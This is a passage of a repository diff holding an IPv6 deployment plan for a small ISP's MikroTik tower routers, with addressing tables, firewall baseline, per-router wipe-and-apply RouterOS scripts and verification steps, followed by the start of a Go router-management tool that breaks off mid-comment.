```rsc
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:NNN0::1/64 interface=<mgmt-bridge> advertise=yes
|
||||||
|
|
||||||
|
/ipv6 nd
|
||||||
|
add interface=<mgmt-bridge> ra-interval=3m20s-10m \
|
||||||
|
other-configuration=yes managed-address-configuration=no
|
||||||
|
/ipv6 nd prefix
|
||||||
|
add interface=<mgmt-bridge> prefix=2606:1c80:NNN0::/64 \
|
||||||
|
autonomous=yes on-link=yes
|
||||||
|
/ipv6 dhcp-server
|
||||||
|
add interface=<mgmt-bridge> name=<tower>-mgmt-stateless \
|
||||||
|
address-pool=none
|
||||||
|
```
|
||||||
|
|
||||||
|
DNS via RDNSS pointing at v6 resolvers (the v6 equivalents of
|
||||||
|
`204.110.191.240` and `.20`); configure those on the resolver hosts when
|
||||||
|
you v6-enable them.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Firewall (every router)
|
||||||
|
|
||||||
|
Mirror your v4 input chain. Minimum:
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 firewall filter
|
||||||
|
add chain=input action=accept connection-state=established,related
|
||||||
|
add chain=input action=accept protocol=icmpv6
|
||||||
|
add chain=input action=accept src-address=fe80::/10
|
||||||
|
add chain=input action=accept src-address=2606:1c80::/32 ;; internal
|
||||||
|
add chain=input action=drop
|
||||||
|
|
||||||
|
add chain=forward action=accept connection-state=established,related
|
||||||
|
add chain=forward action=accept protocol=icmpv6 hop-limit=equal:1 ;; PMTUD
|
||||||
|
add chain=forward action=accept protocol=icmpv6
|
||||||
|
add chain=forward action=accept src-address=2606:1c80::/32 \
|
||||||
|
dst-address=2606:1c80::/32
|
||||||
|
add chain=forward action=accept in-interface-list=customer ;; v6 outbound
|
||||||
|
add chain=forward action=drop
|
||||||
|
```
|
||||||
|
|
||||||
|
Edge keeps its existing inbound BGP rules. Do **not** NAT v6 — every
|
||||||
|
prefix is GUA from your /32.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## DNS
|
||||||
|
|
||||||
|
- Forward DNS for `2606:1c80::/32`: AAAA records under `vntx.net` for
|
||||||
|
router loopbacks (`verona-loopback.vntx.net AAAA 2606:1c80::101`,
|
||||||
|
etc.) and customer PTR delegations.
|
||||||
|
- Reverse DNS: request a `1.c.8.1.6.0.6.2.ip6.arpa` delegation from
|
||||||
|
ARIN matching the /32. Then run a v6 PTR generator (mirror the v4
|
||||||
|
side).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Migration notes
|
||||||
|
|
||||||
|
This is a greenfield plan but the routers have *some* v6 already:
|
||||||
|
|
||||||
|
- Delete on every router before applying:
|
||||||
|
`/ipv6 address remove [find]`,
|
||||||
|
`/ipv6 pool remove [find]`,
|
||||||
|
`/ipv6 dhcp-server remove [find]`,
|
||||||
|
`/ipv6 nd remove [find !default]`.
|
||||||
|
- Keep edge's `/routing bgp network add 2606:1c80::/32 synchronize=no`
|
||||||
|
and its TWC v6 peer.
|
||||||
|
- Keep edge's `/ipv6 firewall filter` rules — extend per the template,
|
||||||
|
don't replace.
|
||||||
|
|
||||||
|
Apply tower-by-tower in the same order as the CGNAT renumber sequence
|
||||||
|
(see `subnets.md`) so you're not running two transitions in parallel.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Per-router config skeletons
|
||||||
|
|
||||||
|
### edge (loopback `:10::254`, hosts the global server /64)
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:10::254/128 interface=lo advertise=no
|
||||||
|
add address=2606:1c80:0:11::1/127 interface=sfp-sfpplus7-core-direct
|
||||||
|
add address=2606:1c80:0:1002::1/64 interface=sfp-sfpplus11-preseem
|
||||||
|
add address=2606:1c80::1/64 interface=vlan9_sfpplus8 ;; server LAN
|
||||||
|
;; existing TWC peering address lives outside our /32 — leave it
|
||||||
|
|
||||||
|
;; suppress RA on the servers /64 — static-only, no SLAAC
|
||||||
|
/ipv6 nd
|
||||||
|
add interface=vlan9_sfpplus8 disabled=no advertise=no \
|
||||||
|
managed-address-configuration=no other-configuration=no
|
||||||
|
|
||||||
|
/routing bgp network
|
||||||
|
add network=2606:1c80::/64 synchronize=no ;; server LAN, advertised from edge
|
||||||
|
;; existing add network=2606:1c80::/32 stays — the upstream-facing aggregate
|
||||||
|
```
|
||||||
|
|
||||||
|
### core (loopback `:10::253`, tower /44 `1400::/44`)
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:10::253/128 interface=lo advertise=no
|
||||||
|
add address=2606:1c80:0:11::2/127 interface=ether3-edge-direct
|
||||||
|
add address=2606:1c80:0:12::1/127 interface=ether5-climax
|
||||||
|
add address=2606:1c80:0:13::1/127 interface=ether4-newhope
|
||||||
|
add address=2606:1c80:0:14::1/127 interface=ether1-982-60ghz
|
||||||
|
add address=2606:1c80:0:15::1/127 interface=ether6-culleoka-11ghz
|
||||||
|
add address=2606:1c80:1400::1/64 interface=vlan10_combo1 ;; 380 mgmt LAN
|
||||||
|
|
||||||
|
/ipv6 pool
|
||||||
|
add name=core-cust-pd-1 prefix=2606:1c80:1401::/48 prefix-length=56
|
||||||
|
|
||||||
|
/routing bgp network
|
||||||
|
add network=2606:1c80:1400::/44 synchronize=no
|
||||||
|
```
|
||||||
|
|
||||||
|
### verona (loopback `:10::101`, towers verona `1000::/44` + altoga `1500::/44`)
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:10::101/128 interface=lo advertise=no
|
||||||
|
add address=2606:1c80:0:20::1/127 interface=ether3-climax-11ghz
|
||||||
|
add address=2606:1c80:1000::1/64 interface=verona ;; verona mgmt LAN
|
||||||
|
add address=2606:1c80:1500::1/64 interface=ether6-switch ;; altoga mgmt LAN
|
||||||
|
|
||||||
|
/ipv6 pool
|
||||||
|
add name=verona-cust-pd-1 prefix=2606:1c80:1001::/48 prefix-length=56
|
||||||
|
add name=altoga-cust-pd-1 prefix=2606:1c80:1501::/48 prefix-length=56
|
||||||
|
|
||||||
|
/ppp profile
|
||||||
|
set [find name=pppoe-verona] remote-ipv6-prefix-pool=verona-cust-pd-1 \
|
||||||
|
dhcpv6-pd-pool=verona-cust-pd-1
|
||||||
|
set [find name=pppoe-altoga] remote-ipv6-prefix-pool=altoga-cust-pd-1 \
|
||||||
|
dhcpv6-pd-pool=altoga-cust-pd-1
|
||||||
|
|
||||||
|
/routing bgp network
|
||||||
|
add network=2606:1c80:1000::/44 synchronize=no
|
||||||
|
add network=2606:1c80:1500::/44 synchronize=no
|
||||||
|
```
|
||||||
|
|
||||||
|
### climax (loopback `:10::102`, /44 `1100::/44`)
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:10::102/128 interface=lo advertise=no
|
||||||
|
add address=2606:1c80:0:20::2/127 interface=ether6-verona-11ghz
|
||||||
|
add address=2606:1c80:0:21::1/127 interface=<climax-culleoka-11ghz>
|
||||||
|
add address=2606:1c80:0:12::2/127 interface=<climax-core-link>
|
||||||
|
add address=2606:1c80:1100::1/64 interface=climax-bridge
|
||||||
|
|
||||||
|
/ipv6 pool
|
||||||
|
add name=climax-cust-pd-1 prefix=2606:1c80:1101::/48 prefix-length=56
|
||||||
|
|
||||||
|
/routing bgp network
|
||||||
|
add network=2606:1c80:1100::/44 synchronize=no
|
||||||
|
```
|
||||||
|
|
||||||
|
### Other towers
|
||||||
|
|
||||||
|
Same template — substitute loopback, /44, interface names from each
|
||||||
|
router's `.rsc`, and the matching P2P /127:
|
||||||
|
|
||||||
|
| Router | Loopback | /44 | First customer pool prefix | Mgmt LAN /64 |
|
||||||
|
|-----------|-----------------------|----------------------|----------------------------|------------------------|
|
||||||
|
| culleoka | `2606:1c80:0:10::104` | `2606:1c80:1600::/44`| `2606:1c80:1601::/48` | `2606:1c80:1600::1/64` |
|
||||||
|
| newhope | `2606:1c80:0:10::108` | `2606:1c80:1800::/44`| `2606:1c80:1801::/48` | `2606:1c80:1800::1/64` |
|
||||||
|
| lowry | `2606:1c80:0:10::109` | `2606:1c80:1900::/44`| `2606:1c80:1901::/48` | `2606:1c80:1900::1/64` |
|
||||||
|
| 982 | `2606:1c80:0:10::110` | `2606:1c80:1300::/44`| `2606:1c80:1301::/48` | `2606:1c80:1300::1/64` |
|
||||||
|
| 494 | `2606:1c80:0:10::111` | `2606:1c80:1A00::/44`| `2606:1c80:1A01::/48` | `2606:1c80:1A00::1/64` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Verification checklist (per router, post-apply)
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
:put [/ipv6 address print]
|
||||||
|
:put [/ipv6 route print where active]
|
||||||
|
:put [/routing ospf-v3 neighbor print]
|
||||||
|
:put [/routing bgp peer print where remote-address~"2606:1c80"]
|
||||||
|
/ping 2606:1c80:0:10::254 count=3 src-address=2606:1c80:0:10::<self-last-hextet>
|
||||||
|
/ping 2606:4700:4700::1111 count=3 ;; Cloudflare, end-to-end
|
||||||
|
```
|
||||||
|
|
||||||
|
End-to-end CPE test: connect a known PPPoE customer, verify a `/56` is
|
||||||
|
delegated, verify SLAAC inside the first `/64` of that /56 reaches
|
||||||
|
`2606:4700:4700::1111`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Allocation registry (keep this updated)
|
||||||
|
|
||||||
|
| Prefix | Tower / purpose | First allocated | Notes |
|
||||||
|
|-------------------------|-----------------|-----------------|-----------------------------|
|
||||||
|
| `2606:1c80::/64` | core servers | 2026-05-08 | global server LAN at 380 — static only, no RA |
|
||||||
|
| `2606:1c80::/48` | infra | 2026-05-08 | servers/loopbacks/P2P/transit |
|
||||||
|
| `2606:1c80:0:10::/64` | router loopbacks | 2026-05-08 | one /128 per router |
|
||||||
|
| `2606:1c80:1000::/44` | verona | 2026-05-08 | 3 840 /56 customer capacity |
|
||||||
|
| `2606:1c80:1100::/44` | climax | 2026-05-08 | |
|
||||||
|
| `2606:1c80:1300::/44` | 982 | 2026-05-08 | |
|
||||||
|
| `2606:1c80:1400::/44` | core (380) | 2026-05-08 | |
|
||||||
|
| `2606:1c80:1500::/44` | altoga | 2026-05-08 | served from verona router |
|
||||||
|
| `2606:1c80:1600::/44` | culleoka | 2026-05-08 | |
|
||||||
|
| `2606:1c80:1800::/44` | newhope | 2026-05-08 | |
|
||||||
|
| `2606:1c80:1900::/44` | lowry | 2026-05-08 | |
|
||||||
|
| `2606:1c80:1A00::/44` | 494 | 2026-05-08 | |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Per-router migration commands
|
||||||
|
|
||||||
|
Two phases per router: **WIPE** (remove all stale internal v6 config —
|
||||||
|
loopbacks, transit, tower LANs, OSPFv3, internal iBGP, customer pools)
|
||||||
|
then **APPLY** (configure exactly per the plan above). External eBGP
|
||||||
|
peerings (Charter/Spectrum, both v4 and v6) and the existing
|
||||||
|
`2606:1c80::/32` aggregate on edge are preserved by filtering the wipe
|
||||||
|
commands on `name=` and `network=`. **The v4 control plane is never
|
||||||
|
touched.**
|
||||||
|
|
||||||
|
Apply order: **edge → core → verona → climax → 494 → 982 → culleoka →
|
||||||
|
newhope → lowry**. Altoga sits on the verona router so it gets
|
||||||
|
configured during verona's APPLY. Bring up edge first so the iBGP
|
||||||
|
target loopback exists when each tower comes online.
|
||||||
|
|
||||||
|
### WIPE (run on every router; same script everywhere)
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
# ---- v6 wipe — removes everything internal, leaves external peerings alone
|
||||||
|
/ipv6 address remove [find !dynamic]
|
||||||
|
/ipv6 nd prefix remove [find]
|
||||||
|
/ipv6 nd remove [find !default]
|
||||||
|
/ipv6 dhcp-server remove [find]
|
||||||
|
/ipv6 dhcp-server option remove [find]
|
||||||
|
/ipv6 dhcp-client remove [find]
|
||||||
|
/ipv6 pool remove [find]
|
||||||
|
/ipv6 route remove [find !dynamic]
|
||||||
|
/ipv6 firewall filter remove [find]
|
||||||
|
/ipv6 firewall mangle remove [find]
|
||||||
|
/ipv6 firewall raw remove [find]
|
||||||
|
/ppp profile set [find] remote-ipv6-prefix-pool="" dhcpv6-pd-pool=""
|
||||||
|
/routing ospf-v3 interface remove [find]
|
||||||
|
/routing ospf-v3 instance remove [find]
|
||||||
|
# internal iBGP only — leave external eBGP peers (twc, twc-v6) alone
|
||||||
|
/routing bgp peer remove [find name~"ibgp" and address-families~"ipv6"]
|
||||||
|
# v6 BGP networks — leave the upstream-facing 2606:1c80::/32 aggregate
|
||||||
|
/routing bgp network remove [find network~":" and network!="2606:1c80::/32"]
|
||||||
|
```
|
||||||
|
|
||||||
|
### Common firewall + IGP baseline (run on every router AFTER its WIPE)
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
# ---- v6 firewall: input + forward minimum, mirrors v4 hygiene
|
||||||
|
/ipv6 firewall filter
|
||||||
|
add chain=input action=accept connection-state=established,related
|
||||||
|
add chain=input action=accept protocol=icmpv6
|
||||||
|
add chain=input action=accept src-address=fe80::/10
|
||||||
|
add chain=input action=accept src-address=2606:1c80::/32 comment="internal"
|
||||||
|
add chain=input action=drop comment="default deny"
|
||||||
|
|
||||||
|
add chain=forward action=accept connection-state=established,related
|
||||||
|
add chain=forward action=accept protocol=icmpv6 hop-limit=equal:1 comment="PMTUD"
|
||||||
|
add chain=forward action=accept protocol=icmpv6
|
||||||
|
add chain=forward action=accept src-address=2606:1c80::/32 dst-address=2606:1c80::/32
|
||||||
|
add chain=forward action=accept in-interface-list=customer comment="v6 outbound"
|
||||||
|
add chain=forward action=drop comment="default deny"
|
||||||
|
|
||||||
|
# ---- OSPFv3 (router-id = v4 loopback)
|
||||||
|
/routing ospf-v3 instance
|
||||||
|
add name=default-v3 router-id=<v4-loopback> redistribute-connected=as-type-1
|
||||||
|
# OSPFv3 interfaces are added per-router in each APPLY block below
|
||||||
|
```
|
||||||
|
|
||||||
|
### edge — APPLY
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:10::254/128 interface=lo advertise=no
|
||||||
|
add address=2606:1c80:0:11::1/127 interface=sfp-sfpplus7-core-direct
|
||||||
|
add address=2606:1c80:0:1002::1/64 interface=sfp-sfpplus11-preseem
|
||||||
|
add address=2606:1c80::1/64 interface=vlan9_sfpplus8 ;; server LAN
|
||||||
|
|
||||||
|
/ipv6 nd
|
||||||
|
add interface=vlan9_sfpplus8 disabled=no advertise=no \
|
||||||
|
managed-address-configuration=no other-configuration=no
|
||||||
|
|
||||||
|
/routing ospf-v3 instance
|
||||||
|
add name=default-v3 router-id=10.254.254.254 redistribute-connected=as-type-1
|
||||||
|
/routing ospf-v3 interface
|
||||||
|
add area=backbone interface=lo passive=yes
|
||||||
|
add area=backbone interface=sfp-sfpplus7-core-direct network-type=point-to-point
|
||||||
|
|
||||||
|
# eBGP TWC v6 peer is preserved by the wipe — do NOT re-add it here.
|
||||||
|
# /routing bgp network keeps the existing 2606:1c80::/32. Add the server /64:
|
||||||
|
/routing bgp network
|
||||||
|
add network=2606:1c80::/64 synchronize=no comment="server LAN, originated by edge"
|
||||||
|
```
|
||||||
|
|
||||||
|
### core — APPLY
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:10::253/128 interface=lo advertise=no
|
||||||
|
add address=2606:1c80:0:11::2/127 interface=ether3-edge-direct
|
||||||
|
add address=2606:1c80:0:12::1/127 interface=ether5-climax
|
||||||
|
add address=2606:1c80:0:13::1/127 interface=ether4-newhope
|
||||||
|
add address=2606:1c80:0:14::1/127 interface=ether1-982-60ghz
|
||||||
|
add address=2606:1c80:0:15::1/127 interface=ether6-culleoka-11ghz
|
||||||
|
add address=2606:1c80:1400::1/64 interface=vlan10_combo1 ;; 380 mgmt LAN
|
||||||
|
|
||||||
|
/ipv6 pool
|
||||||
|
add name=core-cust-pd-1 prefix=2606:1c80:1401::/48 prefix-length=56
|
||||||
|
|
||||||
|
/ppp profile
|
||||||
|
set [find name=380] remote-ipv6-prefix-pool=core-cust-pd-1 \
|
||||||
|
dhcpv6-pd-pool=core-cust-pd-1
|
||||||
|
|
||||||
|
/routing ospf-v3 instance
|
||||||
|
add name=default-v3 router-id=10.254.254.253 redistribute-connected=as-type-1
|
||||||
|
/routing ospf-v3 interface
|
||||||
|
add area=backbone interface=lo passive=yes
|
||||||
|
add area=backbone interface=ether3-edge-direct network-type=point-to-point
|
||||||
|
add area=backbone interface=ether5-climax network-type=point-to-point
|
||||||
|
add area=backbone interface=ether4-newhope network-type=point-to-point
|
||||||
|
add area=backbone interface=ether1-982-60ghz network-type=point-to-point
|
||||||
|
add area=backbone interface=ether6-culleoka-11ghz network-type=point-to-point
|
||||||
|
|
||||||
|
/routing bgp peer
|
||||||
|
add address-families=ipv6 name=ibgp-edge \
|
||||||
|
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
|
||||||
|
update-source=lo multihop=yes
|
||||||
|
|
||||||
|
/routing bgp network
|
||||||
|
add network=2606:1c80:1400::/44 synchronize=no
|
||||||
|
```
|
||||||
|
|
||||||
|
### verona — APPLY (also configures altoga)
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:10::101/128 interface=lo advertise=no
|
||||||
|
add address=2606:1c80:0:20::1/127 interface=ether3-climax-11ghz
|
||||||
|
add address=2606:1c80:1000::1/64 interface=verona ;; verona mgmt LAN
|
||||||
|
add address=2606:1c80:1500::1/64 interface=ether6-switch ;; altoga mgmt LAN
|
||||||
|
|
||||||
|
/ipv6 pool
|
||||||
|
add name=verona-cust-pd-1 prefix=2606:1c80:1001::/48 prefix-length=56
|
||||||
|
add name=altoga-cust-pd-1 prefix=2606:1c80:1501::/48 prefix-length=56
|
||||||
|
|
||||||
|
/ppp profile
|
||||||
|
set [find name=pppoe-verona] remote-ipv6-prefix-pool=verona-cust-pd-1 \
|
||||||
|
dhcpv6-pd-pool=verona-cust-pd-1
|
||||||
|
set [find name=pppoe-altoga] remote-ipv6-prefix-pool=altoga-cust-pd-1 \
|
||||||
|
dhcpv6-pd-pool=altoga-cust-pd-1
|
||||||
|
|
||||||
|
/routing ospf-v3 instance
|
||||||
|
add name=default-v3 router-id=10.254.254.101 redistribute-connected=as-type-1
|
||||||
|
/routing ospf-v3 interface
|
||||||
|
add area=backbone interface=lo passive=yes
|
||||||
|
add area=backbone interface=ether3-climax-11ghz network-type=point-to-point
|
||||||
|
|
||||||
|
/routing bgp peer
|
||||||
|
add address-families=ipv6 name=ibgp-edge \
|
||||||
|
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
|
||||||
|
update-source=lo multihop=yes
|
||||||
|
|
||||||
|
/routing bgp network
|
||||||
|
add network=2606:1c80:1000::/44 synchronize=no
|
||||||
|
add network=2606:1c80:1500::/44 synchronize=no
|
||||||
|
```
|
||||||
|
|
||||||
|
### climax — APPLY
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:10::102/128 interface=lo advertise=no
|
||||||
|
add address=2606:1c80:0:12::2/127 interface=ether4-380-airfiber24
|
||||||
|
add address=2606:1c80:0:17::1/127 interface=ether5-494
|
||||||
|
add address=2606:1c80:0:20::2/127 interface=ether6-verona-11ghz
|
||||||
|
add address=2606:1c80:0:21::1/127 interface=ether3-culleoka-11ghz
|
||||||
|
add address=2606:1c80:1100::1/64 interface=climax-bridge
|
||||||
|
|
||||||
|
/ipv6 pool
|
||||||
|
add name=climax-cust-pd-1 prefix=2606:1c80:1101::/48 prefix-length=56
|
||||||
|
|
||||||
|
/ppp profile
|
||||||
|
set [find name=pppoe] remote-ipv6-prefix-pool=climax-cust-pd-1 \
|
||||||
|
dhcpv6-pd-pool=climax-cust-pd-1
|
||||||
|
|
||||||
|
/routing ospf-v3 instance
|
||||||
|
add name=default-v3 router-id=10.254.254.102 redistribute-connected=as-type-1
|
||||||
|
/routing ospf-v3 interface
|
||||||
|
add area=backbone interface=lo passive=yes
|
||||||
|
add area=backbone interface=ether4-380-airfiber24 network-type=point-to-point
|
||||||
|
add area=backbone interface=ether5-494 network-type=point-to-point
|
||||||
|
add area=backbone interface=ether6-verona-11ghz network-type=point-to-point
|
||||||
|
add area=backbone interface=ether3-culleoka-11ghz network-type=point-to-point
|
||||||
|
|
||||||
|
/routing bgp peer
|
||||||
|
add address-families=ipv6 name=ibgp-edge \
|
||||||
|
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
|
||||||
|
update-source=lo multihop=yes
|
||||||
|
|
||||||
|
/routing bgp network
|
||||||
|
add network=2606:1c80:1100::/44 synchronize=no
|
||||||
|
```
|
||||||
|
|
||||||
|
### 494 — APPLY
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:10::111/128 interface=lo advertise=no
|
||||||
|
add address=2606:1c80:0:17::2/127 interface=ether2-climax
|
||||||
|
add address=2606:1c80:1A00::1/64 interface=494 ;; 494 mgmt LAN
|
||||||
|
|
||||||
|
/ipv6 pool
|
||||||
|
add name=494-cust-pd-1 prefix=2606:1c80:1A01::/48 prefix-length=56
|
||||||
|
|
||||||
|
/ppp profile
|
||||||
|
set [find name=pppoe] remote-ipv6-prefix-pool=494-cust-pd-1 \
|
||||||
|
dhcpv6-pd-pool=494-cust-pd-1
|
||||||
|
|
||||||
|
/routing ospf-v3 instance
|
||||||
|
add name=default-v3 router-id=10.254.254.111 redistribute-connected=as-type-1
|
||||||
|
/routing ospf-v3 interface
|
||||||
|
add area=backbone interface=lo passive=yes
|
||||||
|
add area=backbone interface=ether2-climax network-type=point-to-point
|
||||||
|
|
||||||
|
/routing bgp peer
|
||||||
|
add address-families=ipv6 name=ibgp-edge \
|
||||||
|
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
|
||||||
|
update-source=lo multihop=yes
|
||||||
|
|
||||||
|
/routing bgp network
|
||||||
|
add network=2606:1c80:1A00::/44 synchronize=no
|
||||||
|
```
|
||||||
|
|
||||||
|
### 982 — APPLY
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:10::110/128 interface=lo advertise=no
|
||||||
|
add address=2606:1c80:0:14::2/127 interface=ether7-380
|
||||||
|
add address=2606:1c80:1300::1/64 interface=982 ;; 982 mgmt LAN
|
||||||
|
|
||||||
|
/ipv6 pool
|
||||||
|
add name=982-cust-pd-1 prefix=2606:1c80:1301::/48 prefix-length=56
|
||||||
|
|
||||||
|
/ppp profile
|
||||||
|
set [find name=pppoe] remote-ipv6-prefix-pool=982-cust-pd-1 \
|
||||||
|
dhcpv6-pd-pool=982-cust-pd-1
|
||||||
|
|
||||||
|
/routing ospf-v3 instance
|
||||||
|
add name=default-v3 router-id=10.254.254.110 redistribute-connected=as-type-1
|
||||||
|
/routing ospf-v3 interface
|
||||||
|
add area=backbone interface=lo passive=yes
|
||||||
|
add area=backbone interface=ether7-380 network-type=point-to-point
|
||||||
|
|
||||||
|
/routing bgp peer
|
||||||
|
add address-families=ipv6 name=ibgp-edge \
|
||||||
|
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
|
||||||
|
update-source=lo multihop=yes
|
||||||
|
|
||||||
|
/routing bgp network
|
||||||
|
add network=2606:1c80:1300::/44 synchronize=no
|
||||||
|
```
|
||||||
|
|
||||||
|
### culleoka — APPLY
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:10::104/128 interface=lo advertise=no
|
||||||
|
add address=2606:1c80:0:15::2/127 interface=ether6-380-11ghz
|
||||||
|
add address=2606:1c80:0:21::2/127 interface=ether1-climax-11ghz
|
||||||
|
add address=2606:1c80:1600::1/64 interface=mgmt ;; culleoka mgmt LAN
|
||||||
|
|
||||||
|
/ipv6 pool
|
||||||
|
add name=culleoka-cust-pd-1 prefix=2606:1c80:1601::/48 prefix-length=56
|
||||||
|
|
||||||
|
/ppp profile
|
||||||
|
set [find name=pppoe] remote-ipv6-prefix-pool=culleoka-cust-pd-1 \
|
||||||
|
dhcpv6-pd-pool=culleoka-cust-pd-1
|
||||||
|
|
||||||
|
/routing ospf-v3 instance
|
||||||
|
add name=default-v3 router-id=10.254.254.104 redistribute-connected=as-type-1
|
||||||
|
/routing ospf-v3 interface
|
||||||
|
add area=backbone interface=lo passive=yes
|
||||||
|
add area=backbone interface=ether6-380-11ghz network-type=point-to-point
|
||||||
|
add area=backbone interface=ether1-climax-11ghz network-type=point-to-point
|
||||||
|
|
||||||
|
/routing bgp peer
|
||||||
|
add address-families=ipv6 name=ibgp-edge \
|
||||||
|
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
|
||||||
|
update-source=lo multihop=yes
|
||||||
|
|
||||||
|
/routing bgp network
|
||||||
|
add network=2606:1c80:1600::/44 synchronize=no
|
||||||
|
```
|
||||||
|
|
||||||
|
### newhope — APPLY
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:10::108/128 interface=lo advertise=no
|
||||||
|
add address=2606:1c80:0:13::2/127 interface=ether2-380
|
||||||
|
add address=2606:1c80:0:18::1/127 interface=ether6-lowrycrossing
|
||||||
|
add address=2606:1c80:1800::1/64 interface=newhope ;; newhope mgmt LAN
|
||||||
|
|
||||||
|
/ipv6 pool
|
||||||
|
add name=newhope-cust-pd-1 prefix=2606:1c80:1801::/48 prefix-length=56
|
||||||
|
|
||||||
|
/ppp profile
|
||||||
|
set [find name=newhope] remote-ipv6-prefix-pool=newhope-cust-pd-1 \
|
||||||
|
dhcpv6-pd-pool=newhope-cust-pd-1
|
||||||
|
|
||||||
|
/routing ospf-v3 instance
|
||||||
|
add name=default-v3 router-id=10.254.254.108 redistribute-connected=as-type-1
|
||||||
|
/routing ospf-v3 interface
|
||||||
|
add area=backbone interface=lo passive=yes
|
||||||
|
add area=backbone interface=ether2-380 network-type=point-to-point
|
||||||
|
add area=backbone interface=ether6-lowrycrossing network-type=point-to-point
|
||||||
|
|
||||||
|
/routing bgp peer
|
||||||
|
add address-families=ipv6 name=ibgp-edge \
|
||||||
|
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
|
||||||
|
update-source=lo multihop=yes
|
||||||
|
|
||||||
|
/routing bgp network
|
||||||
|
add network=2606:1c80:1800::/44 synchronize=no
|
||||||
|
```
|
||||||
|
|
||||||
|
### lowry — APPLY
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:10::109/128 interface=lo advertise=no
|
||||||
|
add address=2606:1c80:0:18::2/127 interface=ether1-newhope
|
||||||
|
add address=2606:1c80:1900::1/64 interface=lowrycrossing ;; lowry mgmt LAN
|
||||||
|
|
||||||
|
/ipv6 pool
|
||||||
|
add name=lowry-cust-pd-1 prefix=2606:1c80:1901::/48 prefix-length=56
|
||||||
|
|
||||||
|
/ppp profile
|
||||||
|
set [find name=pppoe] remote-ipv6-prefix-pool=lowry-cust-pd-1 \
|
||||||
|
dhcpv6-pd-pool=lowry-cust-pd-1
|
||||||
|
|
||||||
|
/routing ospf-v3 instance
|
||||||
|
add name=default-v3 router-id=10.254.254.109 redistribute-connected=as-type-1
|
||||||
|
/routing ospf-v3 interface
|
||||||
|
add area=backbone interface=lo passive=yes
|
||||||
|
add area=backbone interface=ether1-newhope network-type=point-to-point
|
||||||
|
|
||||||
|
/routing bgp peer
|
||||||
|
add address-families=ipv6 name=ibgp-edge \
|
||||||
|
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
|
||||||
|
update-source=lo multihop=yes
|
||||||
|
|
||||||
|
/routing bgp network
|
||||||
|
add network=2606:1c80:1900::/44 synchronize=no
|
||||||
|
```
|
||||||
|
|
||||||
|
### Final verification (run from any tower after all APPLY blocks)
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
:put [/ipv6 address print]
|
||||||
|
:put [/ipv6 route print where active]
|
||||||
|
:put [/routing ospf-v3 neighbor print]
|
||||||
|
:put [/routing bgp peer print where remote-address~"2606:1c80"]
|
||||||
|
/ping 2606:1c80:0:10::254 count=3 ;; edge loopback (target of all iBGP)
|
||||||
|
/ping 2606:1c80::20 count=3 ;; primary DNS in the new server LAN
|
||||||
|
/ping 2606:4700:4700::1111 count=3 ;; Cloudflare end-to-end
|
||||||
|
```
|
||||||
1379
mikrotik-tool/lowry.rsc
Normal file
1379
mikrotik-tool/lowry.rsc
Normal file
File diff suppressed because it is too large
Load diff
395
mikrotik-tool/main.go
Normal file
395
mikrotik-tool/main.go
Normal file
|
|
@ -0,0 +1,395 @@
|
||||||
|
// mikrotik-tool: connect to MikroTik routers listed in a YAML config and
|
||||||
|
// run various operations against them.
|
||||||
|
//
|
||||||
|
// Usage:
|
||||||
|
//
|
||||||
|
// mikrotik-tool [-c routers.yaml] <command> [args]
|
||||||
|
//
|
||||||
|
// Commands:
|
||||||
|
//
|
||||||
|
// list Print routers from the config.
|
||||||
|
// export For each router: log in over API-SSL, ask /ip/service for the SSH
|
||||||
|
// port, then SSH in, run "/export", and save stdout to <name>.rsc
|
||||||
|
// in the current working directory.
|
||||||
|
// inventory Walk every router, pull /ip/address, /ip/arp, /ip/pool, and
|
||||||
|
// /ip/neighbor, SNMP-probe each candidate access point and backhaul
|
||||||
|
// radio for sysName, and re-render inventory.yaml in place.
|
||||||
|
// Customer-side equipment (anything in a *-cpe / cgnat pool, or
|
||||||
|
